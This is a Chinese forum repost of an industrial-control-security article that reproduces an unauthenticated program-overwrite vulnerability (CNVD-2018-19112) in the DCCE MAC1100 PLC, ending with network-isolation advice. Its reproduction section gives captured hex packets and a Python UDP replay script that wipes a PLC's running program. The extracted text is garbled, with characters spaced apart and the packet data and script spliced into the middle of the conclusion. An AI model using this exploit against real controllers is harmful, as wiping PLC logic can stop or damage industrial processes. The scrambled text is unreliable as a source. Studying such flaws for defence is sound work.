搜索

[27006] 2020-06-04_【工控安全】从0~1学习PLC攻击

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-06-04_【工控安全】从0~1学习PLC攻击 【 工 控 安 全 】 从 0 ~ 1 学 习 P L C 攻 击 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 6 - 0 4 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 V l l T o m F o r d 前 言 前 言 M A C 1 1 0 0   P L C 可 编 程 逻 辑 控 制 器 （ P L C ） 是 大 连 计 控 （ D C C E ） 可 编 程 逻 辑 控 制 器 （ P L C ） 系 列 中 的 一 款 产 品 。 早 在 2 0 1 8 年 6 月 ， C N V D 官 网 通 报 了 D C C E   M A C 1 1 0 0   P L C 存 在 任 意 程 序 覆 盖 漏 洞 ， 其 编 号 为 C N V D - 2 0 1 8 - 1 9 1 1 2 。 D C C E   M A C 1 1 0 0   P L C 存 在 任 意 程 序 覆 盖 漏 洞 ， 漏 洞 源 于 M A C 1 1 0 0   P L C 可 编 程 逻 辑 控 制 器 向 P L C 下 载 程 序 时 未 验 证 相 关 权 限 ， 攻 击 者 可 通 过 远 程 下 载 程 序 的 数 据 包 ， 利 用 漏 洞 覆 盖 任 意 程 序 。 通 过 对 D C C E   P L C 的 学 习 ， 成 功 复 现 了 此 漏 洞 ， 笔 者 将 其 记 录 下 来 以 供 大 家 学 习 与 交 流 ~ 一 、 一 、 P L C 编 程 与 工 程 编 程 与 工 程 P L C 编 程 是 一 种 数 字 运 算 操 作 的 电 子 系 统 ， 专 为 在 工 业 环 境 下 应 用 而 设 计 。 它 采 用 可 编 程 序 的 存 储 器 ， 用 来 在 其 内 部 存 储 执 行 逻 辑 运 算 、 顺 序 控 制 、 定 时 、 计 数 和 算 术 运 算 等 操 作 的 指 令 ， 并 通 过 数 字 式 、 模 拟 式 的 输 入 和 输 出 ， 控 制 各 种 类 型 的 机 械 或 生 产 过 程 。 可 编 程 序 控 制 器 及 其 有 关 设 备 ， 都 应 按 易 于 使 工 业 控 制 系 统 形 成 一 个 整 体 ， 易 于 扩 充 其 功 能 的 原 则 设 计 。 简 言 之 ， 对 于 P L C 工 程 可 以 理 解 为 : P L C 在 程 序 执 行 阶 段 按 用 户 程 序 指 令 存 放 的 先 后 顺 序 扫 描 执 行 每 条 指 令 ， 经 相 应 的 运 算 和 处 理 后 ， 其 结 果 再 写 入 输 出 状 态 寄 存 器 中 ， 输 出 状 态 寄 存 器 中 所 有 的 内 容 随 着 程 序 的 执 行 而 改 变 。 编 写 P L C 工 程 所 用 语 言 大 概 有 五 种 ， 分 别 是 梯 形 图 语 言 、 指 令 表 语 言 、 功 能 模 块 图 语 言 、 顺 序 功 能 流 程 图 语 言 和 结 构 文 本 化 语 言 。 二 、 漏 洞 复 现 二 、 漏 洞 复 现 2 . 1   环 境 需 求 环 境 需 求 此 次 实 验 笔 者 用 到 了 M a c   1 1 0 0 P L C 、 P L C _ C o n f i g 编 程 软 件 、 P L C 工 程 示 例 等 。 2 . 2   复 现 过 程 复 现 过 程 1 、 下 载 一 个 空 程 序 并 获 取 其 数 据 包 首 先 下 载 一 个 空 的 P L C 工 程 到 P L C ， 并 将 该 下 载 过 程 进 行 W i r e s h a r k 抓 包 ， 其 目 的 是 获 取 P L C 下 载 空 工 程 的 流 量 进 行 重 放 。 T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。
声 明 ： 为 了 减 少 P C 机 与 P L C 之 间 数 据 包 的 交 互 ， 用 户 可 以 在 下 载 程 序 时 根 据 需 求 进 行 网 络 注 释 、 子 程 序 指 令 注 释 、 带 符 号 变 量 的 下 载 。 通 过 上 述 W i r e s h a r k 抓 取 到 的 数 据 包 ， 可 以 看 到 M A I N 关 键 字 ， 即 一 个 P L C 工 程 / 空 工 程 的 入 口 函 数 ， 与 C 语 言 编 程 类 似 。 P L C 工 程 下 载 流 程 （ 1 ） 将 P L C 控 制 器 切 换 为 S T O P 状 态 ； （ 2 ） 清 空 P L C 原 有 工 程 ； （ 3 ） 写 入 新 下 载 的 工 程 ； （ 4 ） 重 启 P L C   C P U 的 状 态 为 R U N ； （ 5 ） 将 编 程 软 件 切 换 为 监 视 模 式 ； 2 、 下 载 正 常 工 作 的 P L C 程 序 至 P L C 为 了 复 现 此 实 验 ， 需 要 下 载 一 段 正 常 工 作 的 P L C 工 程 到 P L C 中 ， 而 D c c e   M a c   1 1 0 0 的 编 程 软 件 P L C _ C o n f i g 支 持 S 7 - 2 0 0 工 程 的 导 入 。 因 此 ， 这 里 直 接 在 C S D N 下 载 了 S 7 - 2 0 0 的 工 程 示 例 （ 以 剪 板 机 控 制 工 程 为 例 ） ， 下 载 的 s 7 - 2 0 0 工 程 为 . m w p 格 式 ， 此 处 需 要 用 到 “ S T E P - 7 M i c r o W I N   V 4 . 0   S P 9 完 整 版 ” 软 件 将 . m w p 导 出 为 P L C _ C o n f i g 支 持 的 . a w l 格 式 。 S T E P - 7 M i c r o W I N   V 4 . 0   S P 9 完 整 版 下 载 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 e a e I x y T 3 A k 1 g S x C w Y C s a G g   密 码 : w 4 1 o 直 接 将 导 入 的 s 7 - 2 0 0 工 程 下 载 至 D c c e   M a c   1 1 0 0   P L C 3 、 实 现 D C C E   M A C 1 1 0 0   P L C 存 在 任 意 程 序 覆 盖 首 先 要 对 第 一 步 过 程 中 获 取 的 数 据 流 量 进 行 提 炼 与 整 理 ， 我 们 将 W i r e s h a r k 获 取 到 的 数 据 包 的 D a t a 段 进 行 H e x   S t r e a m 的 复 制 ， 得 到 以 下 数 据 流 ： 0 d 0 0 8 2 4 8 1 2 0 0 2 3 0 0 6 b 0 0 f 8 2 a 0 1 0 0 0 0 0 0 0 0 0 0
以 上 流 量 可 以 采 用 通 讯 猫 调 试 助 手 工 具 进 行 单 条 重 放 ， 可 以 达 到 任 意 程 序 覆 盖 的 目 的 。 通 讯 猫 调 试 助 手 工 具 下 载   h t t p s : / / p a n . b a i d u . c o m / s / 1 v A U X J Z l - g p d E m 8 n 5 g a 9 1 g w   密 码 : 2 8 k s 也 可 以 编 写 重 置 工 程 脚 本 ， 代 码 如 下 ： 运 行 脚 本 后 再 次 上 载 P L C 工 程 ， 发 现 第 二 步 中 下 载 的 剪 板 机 控 制 工 程 已 重 置 为 空 ， 如 图 ： 三 、 总 结 三 、 总 结 笔 者 在 C N V D   工 控 漏 洞 专 栏 查 询 了 D C C E   P L C 的 相 关 漏 洞 ， 总 结 出 该 产 品 绝 大 多 数 漏 洞 都 是 源 于 P L C 的 非 授 权 访 问 。 根 据 工 控 安 全 的 相 关 学 习 经 验 来 看 不 光 是 D C C E   P L C 存 在 此 类 问 题 ， 其 他 品 牌 的 产 0 d 0 0 6 6 a 3 1 2 0 0 2 4 0 0 f 8 2 a f 8 2 a 0 2 0 0 0 0 0 0 0 0 0 0 0 d 0 0 6 5 8 5 1 1 0 0 2 5 0 0 f 8 2 a 6 b 0 0 8 1 0 0 0 0 0 0 0 0 0 d 0 0 1 6 7 a 1 4 0 0 2 6 0 0 6 b 0 0 f b 2 a 0 1 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 d 0 0 6 b 0 9 1 4 0 0 2 7 0 0 f b 2 a 2 6 2 7 0 0 0 0 0 0 0 0 0 0 0 0 5 e 0 0 0 0 e c 3 b 0 a 1 9 1 4 0 0 1 c 4 2 b 7 6 b c b 0 8 0 0 4 5 0 0 0 0 8 c 0 3 e 7 0 0 0 0 8 0 1 1 0 0 0 0 c 0 a 8 0 1 c 8 c 0 a 8 0 1 b 5 c 7 9 b 2 a f 8 0 0 7 8 8 5 5 7 0 d 0 0 2 f 8 f 7 0 0 0 2 8 0 0 2 6 2 7 2 5 2 7 0 0 0 0 5 e 0 0 0 0 0 0 1 1 0 0 4 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 2 9 0 0 0 0 0 0 4 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 e 0 0 4 d 4 1 4 9 4 e 5 f 2 8 d 6 f 7 b 3 c c d 0 f 2 2 9 0 0 0 1 0 1 1 3 0 0 c a e 4 c 8 e b b 5 e 7 c 1 f 7 a 1 a 2 b 5 e 7 d 1 b 9 c a b e c 0 f d 0 0 # ! / u s r / b i n / e n v   p y t h o n # e n c o d i n g : u t f - 8 i m p o r t   s o c k e t , b i n a s c i i , t i m e s e n d s o c k e t   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ D G R A M ) i p   =   " 1 9 2 . 1 6 8 . 1 . 1 8 1 " p o r t   =   1 1 0 0 0 s e n d s o c k e t . c o n n e c t ( ( i p , p o r t ) ) #   s e n d s o c k e t . s e n d ( b i n a s c i i . u n h e x l i f y ( ' 0 0 e c 3 b 0 a 1 9 1 4 0 0 1 c 4 2 b 7 6 b c b 0 8 0 0 4 5 0 0 0 0 2 c 0 e 1 8 0 0 0 0 8 0 1 1 0 0 0 0 c 0 a 8 0 1 c 8 c 0 a 8 0 1 b 5 c e 3 e 2 a f 8 0 0 1 8 8 4 f 7 0 c 0 0 e 6 4 f 1 0 0 0 0 8 0 0 0 0 0 0 9 f 0 0 0 0 0 0 0 0 0 0 ' ) ) #   t i m e . s l e e p ( 2 ) s e n d s o c k e t . s e n d ( b i n a s c i i . u n h e x l i f y ( ' 0 d 0 0 8 2 4 8 1 2 0 0 2 3 0 0 6 b 0 0 f 8 2 a 0 1 0 0 0 0 0 0 0 0 0 0 ' ) ) t i m e . s l e e p ( 2 ) s e n d s o c k e t . s e n d ( b i n a s c i i . u n h e x l i f y ( ' 0 d 0 0 6 6 a 3 1 2 0 0 2 4 0 0 f 8 2 a f 8 2 a 0 2 0 0 0 0 0 0 0 0 0 0 ' ) ) t i m e . s l e e p ( 2 ) s e n d s o c k e t . s e n d ( b i n a s c i i . u n h e x l i f y ( ' 0 d 0 0 6 5 8 5 1 1 0 0 2 5 0 0 f 8 2 a 6 b 0 0 8 1 0 0 0 0 0 0 0 0 ' ) ) t i m e . s l e e p ( 2 ) s e n d s o c k e t . s e n d ( b i n a s c i i . u n h e x l i f y ( ' 0 d 0 0 1 6 7 a 1 4 0 0 2 6 0 0 6 b 0 0 f b 2 a 0 1 0 0 0 0 0 0 0 3 0 0 0 0 0 0 ' ) ) t i m e . s l e e p ( 2 ) s e n d s o c k e t . s e n d ( b i n a s c i i . u n h e x l i f y ( ' 0 d 0 0 6 b 0 9 1 4 0 0 2 7 0 0 f b 2 a 2 6 2 7 0 0 0 0 0 0 0 0 0 0 0 0 5 e 0 0 ' ) ) t i m e . s l e e p ( 2 ) s e n d s o c k e t . s e n d ( b i n a s c i i . u n h e x l i f y ( ' 0 0 e c 3 b 0 a 1 9 1 4 0 0 1 c 4 2 b 7 6 b c b 0 8 0 0 4 5 0 0 0 0 8 c 0 3 e 7 0 0 0 0 8 0 1 1 0 0 0 0 c 0 a 8 0 1 c 8 c 0 a 8 0 1 b 5 c 7 9 b 2 a f 8 0 0 7 8 8 5 5 7 0 d 0 0 2 f 8 f 7 0 0 0 2 8 0 0 2 6 2 7 2 5 2 7 0 0 0 0 5 e 0 0 0 0 0 0 1 1 0 0 4 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 2 9 0 0 0 0 0 0 4 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 e 0 0 4 d 4 1 4 9 4 e 5 f 2 8 d 6 f 7 b 3 c c d 0 f 2 2 9 0 0 0 1 0 1 1 3 0 0 c a e 4 c 8 e b b 5 e 7 c 1 f 7 a 1 a 2 b 5 e 7 d 1 b 9 c a b e c 0 f d 0 0 ' p r i n t   " P L C 工 程 已 重 置 ！ "
品 西 门 子 、 施 耐 德 等 也 都 存 在 类 似 漏 洞 ， 包 括 目 前 主 流 的 工 控 协 议 也 都 存 在 类 似 漏 洞 。 因 此 ， 用 户 在 工 控 环 境 中 使 用 P L C 设 备 时 ， 尽 量 做 到 网 络 的 物 理 隔 离 、 逻 辑 隔 离 ， 不 必 要 时 禁 止 P L C 设 置 直 接 暴 露 在 互 联 网 中 ， 以 免 对 工 业 企 业 造 成 巨 大 攻 击 与 损 失 。 扫 描 下 方 二 维 码 加 入 扫 描 下 方 二 维 码 加 入 W e b 安 全 攻 防 安 全 攻 防 星 球 学 习 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 目 前 目 前 2 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理